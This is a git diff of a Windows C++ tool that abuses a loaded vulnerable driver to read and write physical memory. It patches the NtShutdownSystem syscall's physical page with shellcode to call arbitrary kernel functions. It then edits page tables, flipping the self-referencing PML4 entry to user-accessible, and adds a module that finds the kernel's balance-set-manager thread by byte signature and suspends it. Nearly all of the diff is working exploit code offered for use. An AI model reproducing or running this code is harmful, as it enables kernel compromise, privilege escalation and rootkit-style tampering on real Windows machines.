diff --git a/PTM/PTM.vcxproj b/PTM/PTM.vcxproj index 2bcbf73..1c69570 100644 --- a/PTM/PTM.vcxproj +++ b/PTM/PTM.vcxproj @@ -144,16 +144,21 @@ + + - + + + + diff --git a/PTM/PTM.vcxproj.filters b/PTM/PTM.vcxproj.filters index ae710a4..9d3ae23 100644 --- a/PTM/PTM.vcxproj.filters +++ b/PTM/PTM.vcxproj.filters @@ -15,6 +15,9 @@ {96d7e756-9d5b-4c3c-b594-aff6db3f2d51} + + {e1778cd8-6b3a-43dc-a95c-7b6f0896373e} + @@ -26,6 +29,9 @@ Source Files + + Source Files + @@ -40,14 +46,22 @@ Header Files\vdm - - Header Files - Header Files Header Files\util + + Header Files + + + Header Files + + + + + resources + \ No newline at end of file diff --git a/PTM/icon.ico b/PTM/icon.ico new file mode 100644 index 0000000..df1d3aa Binary files /dev/null and b/PTM/icon.ico differ diff --git a/PTM/icon.rc b/PTM/icon.rc new file mode 100644 index 0000000..ac3155f --- /dev/null +++ b/PTM/icon.rc @@ -0,0 +1,3 @@ +// Icon Resource Definition +#define MAIN_ICON 102 +MAIN_ICON ICON "icon.ico" \ No newline at end of file diff --git a/PTM/main.cpp b/PTM/main.cpp index d4cbac0..21b82f8 100644 --- a/PTM/main.cpp +++ b/PTM/main.cpp @@ -1,5 +1,5 @@ -#include "vdm_ctx/vdm_ctx.h" #include "mem_ctx/mem_ctx.hpp" +#include "set_mgr/set_mgr.hpp" int __cdecl main(int argc, char** argv) { @@ -10,24 +10,85 @@ int __cdecl main(int argc, char** argv) return -1; } - vdm::vdm_ctx vdm; - nasa::mem_ctx my_proc(vdm); + vdm::read_phys_t _read_phys = + [&](void* addr, void* buffer, std::size_t size) -> bool + { + return vdm::read_phys(addr, buffer, size); + }; - const auto ntoskrnl_base = - reinterpret_cast( - util::get_kmodule_base("ntoskrnl.exe")); + vdm::write_phys_t _write_phys = + [&](void* addr, void* buffer, std::size_t size) -> bool + { + return vdm::write_phys(addr, buffer, size); + }; - const auto ntoskrnl_pde = my_proc.get_pde(ntoskrnl_base); - std::printf("[+] pde.present -> %d\n", ntoskrnl_pde.second.present); - std::printf("[+] pde.pfn -> 0x%x\n", ntoskrnl_pde.second.pfn); - std::printf("[+] pde.large_page -> %d\n", ntoskrnl_pde.second.large_page); + vdm::vdm_ctx vdm(_read_phys, _write_phys); + nasa::mem_ctx my_proc(&vdm); + const auto set_mgr_pethread = + set_mgr::get_setmgr_pethread(vdm); + + const auto result = + set_mgr::stop_setmgr(vdm, set_mgr_pethread); + + std::printf("[+] stop set mgr thread result -> 0x%x (0 == STATUS_SUCCESS)\n", result); if (!vdm::unload_drv(drv_handle, drv_key)) { std::printf("[!] unable to unload vulnerable driver...\n"); return -1; } + _read_phys = + [&](void* addr, void* buffer, std::size_t size) -> bool + { + return my_proc.read_phys(addr, buffer, size); + }; + + _write_phys = + [&](void* addr, void* buffer, std::size_t size) -> bool + { + return my_proc.write_phys(addr, buffer, size); + }; + + std::printf("[+] sleeping 30 seconds...\n"); + Sleep(30000); + + // abuse test, make a vdm using a mem_ctx... + vdm = vdm::vdm_ctx(_read_phys, _write_phys); + + const auto current_pml4 = + reinterpret_cast( + my_proc.set_page(my_proc.dirbase)); + + for (auto idx = 0u; idx < 512; ++idx) + { + if (current_pml4[idx].present) + { + std::printf("pml4e at -> 0x%d (0x%p)\n", idx, + reinterpret_cast(my_proc.dirbase) + idx * sizeof pml4e); + + std::printf(" - pfn: 0x%x\n", current_pml4[idx].pfn); + std::printf(" - writeable: %d\n", current_pml4[idx].writeable); + std::printf(" - executable: %d\n", !current_pml4[idx].nx); + + if (current_pml4[idx].pfn == reinterpret_cast(my_proc.dirbase) >> 12) + { + std::printf(" [!]<- self referencing pml4e found at index: %d ->[!]\n", idx); + current_pml4[idx].user_supervisor = true; // you can manage your own paging tables now :^) + } + } + } + + const auto ntoskrnl_base = + reinterpret_cast( + util::get_kmodule_base("ntoskrnl.exe")); + + const auto ntoskrnl_pde = + my_proc.get_pde(ntoskrnl_base); + + std::printf("[+] pde.present -> %d\n", ntoskrnl_pde.second.present); + std::printf("[+] pde.pfn -> 0x%x\n", ntoskrnl_pde.second.pfn); + std::printf("[+] pde.large_page -> %d\n", ntoskrnl_pde.second.large_page); std::printf("[+] press any key to close...\n"); std::getchar(); } \ No newline at end of file diff --git a/PTM/mem_ctx/mem_ctx.cpp b/PTM/mem_ctx/mem_ctx.cpp index 7482e49..23889e0 100644 --- a/PTM/mem_ctx/mem_ctx.cpp +++ b/PTM/mem_ctx/mem_ctx.cpp @@ -2,19 +2,19 @@ namespace nasa { - mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid) + mem_ctx::mem_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid) : - v_ctx(&v_ctx), - dirbase(get_dirbase(v_ctx, pid)), + v_ctx(v_ctx), + dirbase(get_dirbase(*v_ctx, pid)), pid(pid) { // find an empty pml4e inside of current processes pml4... const auto current_pml4 = - v_ctx.get_virtual(reinterpret_cast( - get_dirbase(v_ctx, GetCurrentProcessId()))); + v_ctx->get_virtual(reinterpret_cast( + get_dirbase(*v_ctx, GetCurrentProcessId()))); for (auto idx = 100u; idx > 0u; --idx) - if (!v_ctx.rkm(current_pml4 + (idx * sizeof pml4e)).value) + if (!v_ctx->rkm(current_pml4 + (idx * sizeof pml4e)).present) this->pml4e_index = idx; // allocate a pdpt @@ -31,13 +31,17 @@ namespace nasa // get page table entries for new pdpt pt_entries new_pdpt_entries; hyperspace_entries(new_pdpt_entries, new_pdpt.second); - this->new_pdpt.first = reinterpret_cast(new_pdpt_entries.pt.second.pfn << 12); + + this->new_pdpt.first = + reinterpret_cast( + new_pdpt_entries.pt.second.pfn << 12); // make a new pml4e that points to our new pdpt. new_pdpt_entries.pml4.second.pfn = new_pdpt_entries.pt.second.pfn; // set the pml4e to point to the new pdpt - set_pml4e(reinterpret_cast<::ppml4e>(get_dirbase()) + this->pml4e_index, new_pdpt_entries.pml4.second, true); + set_pml4e(reinterpret_cast<::ppml4e>(this->dirbase) + + this->pml4e_index, new_pdpt_entries.pml4.second, true); // make a new pd this->new_pd.second = @@ -54,7 +58,10 @@ namespace nasa // get paging table entries for pd pt_entries new_pd_entries; hyperspace_entries(new_pd_entries, this->new_pd.second); - this->new_pd.first = reinterpret_cast(new_pd_entries.pt.second.pfn << 12); + + this->new_pd.first = + reinterpret_cast( + new_pd_entries.pt.second.pfn << 12); // make a new pt this->new_pt.second = @@ -71,7 +78,10 @@ namespace nasa // get paging table entries for pt pt_entries new_pt_entries; hyperspace_entries(new_pt_entries, this->new_pt.second); - this->new_pt.first = reinterpret_cast(new_pt_entries.pt.second.pfn << 12); + + this->new_pt.first = + reinterpret_cast( + new_pt_entries.pt.second.pfn << 12); } mem_ctx::~mem_ctx() @@ -144,7 +154,30 @@ namespace nasa new_addr.pd_index = this->pde_index; new_addr.pt_index = this->pte_index; new_addr.offset = this->page_offset; - return new_addr.value; + + // handle TLB issues, the TLB might need to be flushed for this entry... + __try + { + *(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value; + return new_addr.value; + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + while (true) + { + while (!SwitchToThread()) + continue; + + __try + { + *(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value; + return new_addr.value; + } + __except(EXCEPTION_EXECUTE_HANDLER) + {} + } + } + return {}; } void* mem_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid) @@ -153,7 +186,8 @@ namespace nasa reinterpret_cast( v_ctx.get_peprocess(pid)); - return v_ctx.rkm(peproc + 0x28); + return reinterpret_cast( + v_ctx.rkm(peproc + 0x28).pfn << 12); } bool mem_ctx::hyperspace_entries(pt_entries& entries, void* addr) @@ -371,10 +405,10 @@ namespace nasa } } - void mem_ctx::read_phys(void* buffer, void* addr, std::size_t size) + bool mem_ctx::read_phys(void* buffer, void* addr, std::size_t size) { if (!buffer || !addr || !size) - return; + return false; const auto temp_page = set_page(addr); __try @@ -382,13 +416,16 @@ namespace nasa memcpy(buffer, temp_page, size); } __except (EXCEPTION_EXECUTE_HANDLER) - {} + { + return false; + } + return true; } - void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size) + bool mem_ctx::write_phys(void* buffer, void* addr, std::size_t size) { if (!buffer || !addr || !size) - return; + return false; const auto temp_page = set_page(addr); __try @@ -396,7 +433,10 @@ namespace nasa memcpy(temp_page, buffer, size); } __except (EXCEPTION_EXECUTE_HANDLER) - {} + { + return false; + } + return true; } void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr) @@ -445,37 +485,4 @@ namespace nasa return reinterpret_cast((pte.pfn << 12) + virt_addr.offset); } - - unsigned mem_ctx::get_pid() const - { - return pid; - } - - void* mem_ctx::get_dirbase() const - { - return dirbase; - } - - pml4e mem_ctx::operator[](std::uint16_t pml4_idx) - { - return read_phys<::pml4e>(reinterpret_cast(this->dirbase) + pml4_idx); - } - - pdpte mem_ctx::operator[](const std::pair& entry_idx) - { - const auto pml4_entry = this->operator[](entry_idx.first); - return read_phys<::pdpte>(reinterpret_cast(pml4_entry.pfn << 12) + entry_idx.second); - } - - pde mem_ctx::operator[](const std::tuple& entry_idx) - { - const auto pdpt_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx) }); - return read_phys<::pde>(reinterpret_cast(pdpt_entry.pfn << 12) + std::get<2>(entry_idx)); - } - - pte mem_ctx::operator[](const std::tuple& entry_idx) - { - const auto pd_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx), std::get<2>(entry_idx) }); - return read_phys<::pte>(reinterpret_cast(pd_entry.pfn << 12) + std::get<3>(entry_idx)); - } } \ No newline at end of file diff --git a/PTM/mem_ctx/mem_ctx.hpp b/PTM/mem_ctx/mem_ctx.hpp index 89c2b2c..602224c 100644 --- a/PTM/mem_ctx/mem_ctx.hpp +++ b/PTM/mem_ctx/mem_ctx.hpp @@ -1,13 +1,13 @@ #pragma once #include "../util/nt.hpp" -#include "../vdm_ctx/vdm_ctx.h" +#include "../vdm_ctx/vdm_ctx.hpp" namespace nasa { class mem_ctx { public: - explicit mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid = GetCurrentProcessId()); + explicit mem_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid = GetCurrentProcessId()); ~mem_ctx(); auto get_pte(void* addr, bool use_hyperspace = false) -> std::pair; @@ -21,12 +21,10 @@ namespace nasa auto get_pml4e(void* addr, bool use_hyperspace = false) -> std::pair; void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false); - - void* get_dirbase() const; static void* get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid); - void read_phys(void* buffer, void* addr, std::size_t size); - void write_phys(void* buffer, void* addr, std::size_t size); + bool read_phys(void* buffer, void* addr, std::size_t size); + bool write_phys(void* buffer, void* addr, std::size_t size); template __forceinline T read_phys(void* addr) @@ -60,19 +58,15 @@ namespace nasa } void* virt_to_phys(pt_entries& entries, void* addr); + bool hyperspace_entries(pt_entries& entries, void* addr); + void* set_page(void* addr); void* get_page() const; - unsigned get_pid() const; - - pml4e operator[](std::uint16_t pml4_idx); - pdpte operator[](const std::pair& entry_idx); - pde operator[](const std::tuple& entry_idx); - pte operator[](const std::tuple& entry_idx); - private: - bool hyperspace_entries(pt_entries& entries, void* addr); + unsigned pid; void* dirbase; vdm::vdm_ctx* v_ctx; + private: std::uint16_t pml4e_index, pdpte_index, pde_index, @@ -82,6 +76,5 @@ namespace nasa std::pair new_pdpt; std::pair new_pd; std::pair new_pt; - unsigned pid; }; } \ No newline at end of file diff --git a/PTM/set_mgr/set_mgr.cpp b/PTM/set_mgr/set_mgr.cpp new file mode 100644 index 0000000..e2fd1c6 --- /dev/null +++ b/PTM/set_mgr/set_mgr.cpp @@ -0,0 +1,77 @@ +#include "set_mgr.hpp" + +namespace set_mgr +{ + auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx)->PETHREAD + { + ULONG return_len = 0u; + std::size_t alloc_size = 0x1000u; + auto process_info = reinterpret_cast(malloc(alloc_size)); + + while (NtQuerySystemInformation + ( + SystemProcessInformation, + process_info, + alloc_size, + &return_len + ) == STATUS_INFO_LENGTH_MISMATCH) + process_info = reinterpret_cast( + realloc(process_info, alloc_size += 0x1000)); + + const auto og_ptr = process_info; + while (process_info && process_info->UniqueProcessId != (HANDLE)4) + process_info = reinterpret_cast( + reinterpret_cast(process_info) + process_info->NextEntryOffset); + + auto thread_info = reinterpret_cast( + reinterpret_cast(process_info) + sizeof SYSTEM_PROCESS_INFORMATION); + + static const auto ntoskrnl_base = + util::get_kmodule_base("ntoskrnl.exe"); + + const auto [ke_balance_um, ke_balance_rva] = + util::memory::sig_scan( + KE_BALANCE_SIG, KE_BALANCE_MASK); + + auto rip_rva = *reinterpret_cast(ke_balance_um + 19); + const auto ke_balance_set = ntoskrnl_base + ke_balance_rva + 23 + rip_rva; + + const auto [suspend_in_um, suspend_rva] = + util::memory::sig_scan(SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK); + + rip_rva = *reinterpret_cast(suspend_in_um + 1); + const auto ps_suspend_thread = reinterpret_cast(ntoskrnl_base + rip_rva + 5 + suspend_rva); + + static const auto lookup_pethread = + util::get_kmodule_export("ntoskrnl.exe", "PsLookupThreadByThreadId"); + + for (auto idx = 0u; idx < process_info->NumberOfThreads; ++idx) + { + if (thread_info[idx].StartAddress == reinterpret_cast(ke_balance_set)) + { + PETHREAD pethread; + auto result = v_ctx.syscall( + lookup_pethread, thread_info[idx].ClientId.UniqueThread, &pethread); + + free(og_ptr); + return pethread; + } + } + + free(og_ptr); + return {}; + } + + auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread) -> NTSTATUS + { + static const auto ntoskrnl_base = + util::get_kmodule_base("ntoskrnl.exe"); + + const auto [suspend_in_um, suspend_rva] = + util::memory::sig_scan(SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK); + + const auto rip_rva = *reinterpret_cast(suspend_in_um + 1); + const auto ps_suspend_thread = reinterpret_cast(ntoskrnl_base + rip_rva + 5 + suspend_rva); + return v_ctx.syscall(ps_suspend_thread, pethread, nullptr); + } +} \ No newline at end of file diff --git a/PTM/set_mgr/set_mgr.hpp b/PTM/set_mgr/set_mgr.hpp new file mode 100644 index 0000000..5b99746 --- /dev/null +++ b/PTM/set_mgr/set_mgr.hpp @@ -0,0 +1,18 @@ +#pragma once +#include "../vdm_ctx/vdm_ctx.hpp" + +using PETHREAD = PVOID; +using PsSuspendThread = NTSTATUS(*)(PETHREAD, PULONG); +using PsLookupThreadByThreadId = NTSTATUS(*)(HANDLE, PETHREAD*); + +#define KE_BALANCE_SIG "\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x48\x8B\x88\x00\x00\x00\x00\x48\x8D\x05" +#define KE_BALANCE_MASK "xxxxx????xxx????xxx" + +#define SUSPEND_THREAD_SIG "\xE8\x00\x00\x00\x00\x8B\xF8\xBA\x50\x73\x53\x75" +#define SUSPEND_THREAD_MASK "x????xxxxxxx" + +namespace set_mgr +{ + auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx)->PETHREAD; + auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread)->NTSTATUS; +} \ No newline at end of file diff --git a/PTM/util/nt.hpp b/PTM/util/nt.hpp index 3a4c26e..cdf2f8c 100644 --- a/PTM/util/nt.hpp +++ b/PTM/util/nt.hpp @@ -97,7 +97,7 @@ typedef union _pml4e struct { std::uint64_t present : 1; // Must be 1, region invalid if 0. - std::uint64_t ReadWrite : 1; // If 0, writes not allowed. + std::uint64_t writeable : 1; // If 0, writes not allowed. std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed. std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PDPT. std::uint64_t page_cache : 1; // Determines the memory type used to access PDPT. diff --git a/PTM/util/util.hpp b/PTM/util/util.hpp index 4c5606b..1efdbd2 100644 --- a/PTM/util/util.hpp +++ b/PTM/util/util.hpp @@ -293,4 +293,54 @@ namespace util } return NULL; } + + namespace memory + { + template + __forceinline auto sig_scan(const char(&signature)[pattern_length], const char(&mask)[pattern_length]) -> std::pair + { + static const auto ntoskrnl_module = + LoadLibraryEx( + "ntoskrnl.exe", + NULL, + DONT_RESOLVE_DLL_REFERENCES + ); + + static const auto p_idh = reinterpret_cast(ntoskrnl_module); + if (p_idh->e_magic != IMAGE_DOS_SIGNATURE) + return { {}, {} }; + + static const auto p_inh = reinterpret_cast((LPBYTE)ntoskrnl_module + p_idh->e_lfanew); + if (p_inh->Signature != IMAGE_NT_SIGNATURE) + return { {}, {} }; + + const auto pattern_view = + std::string_view + { + reinterpret_cast(ntoskrnl_module), + p_inh->OptionalHeader.SizeOfImage + }; + + std::array, pattern_length - 1> pattern{}; + for (std::size_t index = 0; index < pattern_length - 1; index++) + pattern[index] = { signature[index], mask[index] }; + + auto resultant_address = std::search + ( + pattern_view.cbegin(), + pattern_view.cend(), + pattern.cbegin(), + pattern.cend(), + [](char left, std::pair right) -> bool { + return (right.second == '?' || left == right.first); + }); + + const auto found_address = + resultant_address == pattern_view.cend() ? 0 : + reinterpret_cast(resultant_address.operator->()); + + const auto rva = found_address - reinterpret_cast(ntoskrnl_module); + return { found_address, rva }; + } + } } \ No newline at end of file diff --git a/PTM/vdm_ctx/vdm_ctx.cpp b/PTM/vdm_ctx/vdm_ctx.cpp index 4eb651c..8d59289 100644 --- a/PTM/vdm_ctx/vdm_ctx.cpp +++ b/PTM/vdm_ctx/vdm_ctx.cpp @@ -1,8 +1,11 @@ -#include "vdm_ctx.h" +#include "vdm_ctx.hpp" namespace vdm { - vdm_ctx::vdm_ctx() + vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func) + : + read_phys(read_func), + write_phys(write_func) { // already found the syscall's physical page... if (vdm::syscall_address.load()) @@ -34,9 +37,37 @@ namespace vdm search_thread.join(); } + void vdm_ctx::set_read(read_phys_t& read_func) + { + this->read_phys = read_func; + } + + void vdm_ctx::set_write(write_phys_t& write_func) + { + this->write_phys = write_func; + } + + void vdm_ctx::rkm(void* dst, void* src, std::size_t size) + { + static const auto ntoskrnl_memcpy = + util::get_kmodule_export("ntoskrnl.exe", "memcpy"); + + this->syscall( + ntoskrnl_memcpy, dst, src, size); + } + + void vdm_ctx::wkm(void* dst, void* src, std::size_t size) + { + static const auto ntoskrnl_memcpy = + util::get_kmodule_export("ntoskrnl.exe", "memcpy"); + + this->syscall( + ntoskrnl_memcpy, dst, src, size); + } + void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const { - const auto page_data = + const auto page_data = reinterpret_cast( VirtualAlloc( nullptr, @@ -49,7 +80,7 @@ namespace vdm if (vdm::syscall_address.load()) break; - if (!vdm::read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB)) + if (!read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB)) continue; // check the first 32 bytes of the syscall, if its the same, test that its the correct @@ -60,7 +91,6 @@ namespace vdm reinterpret_cast( address + page + nt_page_offset)); } - VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT); } @@ -81,11 +111,11 @@ namespace vdm std::uint8_t orig_bytes[sizeof shellcode]; // save original bytes and install shellcode... - vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); - vdm::write_phys(syscall_addr, shellcode, sizeof shellcode); + read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); + write_phys(syscall_addr, shellcode, sizeof shellcode); auto result = reinterpret_cast(proc)(); - vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); + write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); syscall_mutex.unlock(); return result == STATUS_SUCCESS; } diff --git a/PTM/vdm_ctx/vdm_ctx.h b/PTM/vdm_ctx/vdm_ctx.hpp similarity index 73% rename from PTM/vdm_ctx/vdm_ctx.h rename to PTM/vdm_ctx/vdm_ctx.hpp index ac64417..428aa16 100644 --- a/PTM/vdm_ctx/vdm_ctx.h +++ b/PTM/vdm_ctx/vdm_ctx.hpp @@ -5,28 +5,35 @@ #include #include #include +#include #include "../vdm/vdm.hpp" namespace vdm { // change this to whatever you want :^) constexpr std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; - inline std::atomic is_page_found = false; inline std::atomic syscall_address = nullptr; - inline std::uint16_t nt_page_offset; inline std::uint32_t nt_rva; inline std::uint8_t* ntoskrnl; + using read_phys_t = std::function; + using write_phys_t = std::function; + class vdm_ctx { public: - vdm_ctx(); + explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func); + void set_read(read_phys_t& read_func); + void set_write(write_phys_t& write_func); + void rkm(void* dst, void* src, std::size_t size); + void wkm(void* dst, void* src, std::size_t size); + template __forceinline std::invoke_result_t syscall(void* addr, Ts ... args) const { - static const auto proc = + static const auto proc = GetProcAddress( LoadLibraryA(syscall_hook.second), syscall_hook.first @@ -46,12 +53,12 @@ namespace vdm std::uint8_t orig_bytes[sizeof jmp_code]; *reinterpret_cast(jmp_code + 6) = addr; - vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); + read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); // execute hook... - vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); + write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); auto result = reinterpret_cast(proc)(args ...); - vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); + write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); syscall_mutex.unlock(); return result; @@ -60,35 +67,15 @@ namespace vdm template __forceinline auto rkm(std::uintptr_t addr) -> T { - static const auto ntoskrnl_memcpy = - util::get_kmodule_export("ntoskrnl.exe", "memcpy"); - T buffer; - this->syscall( - ntoskrnl_memcpy, &buffer, (void*)addr, sizeof T); - + rkm((void*)&buffer, (void*)addr, sizeof T); return buffer; } template __forceinline void wkm(std::uintptr_t addr, const T& value) { - static const auto ntoskrnl_memcpy = - util::get_kmodule_export("ntoskrnl.exe", "memcpy"); - - this->syscall( - ntoskrnl_memcpy, (void*)addr, &value, sizeof T); - } - - __forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t - { - static const auto ntoskrnl_get_virtual = - util::get_kmodule_export( - "ntoskrnl.exe", - "MmGetVirtualForPhysical"); - - return this->syscall( - ntoskrnl_get_virtual, addr); + wkm((void*)addr, (void*)&value, sizeof T); } __forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS @@ -104,11 +91,25 @@ namespace vdm (HANDLE)pid, &peproc ); - return peproc; } + + __forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t + { + static const auto ntoskrnl_get_virtual = + util::get_kmodule_export( + "ntoskrnl.exe", + "MmGetVirtualForPhysical"); + + return this->syscall( + ntoskrnl_get_virtual, addr); + } + private: void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const; bool valid_syscall(void* syscall_addr) const; + + read_phys_t read_phys; + write_phys_t write_phys; }; } \ No newline at end of file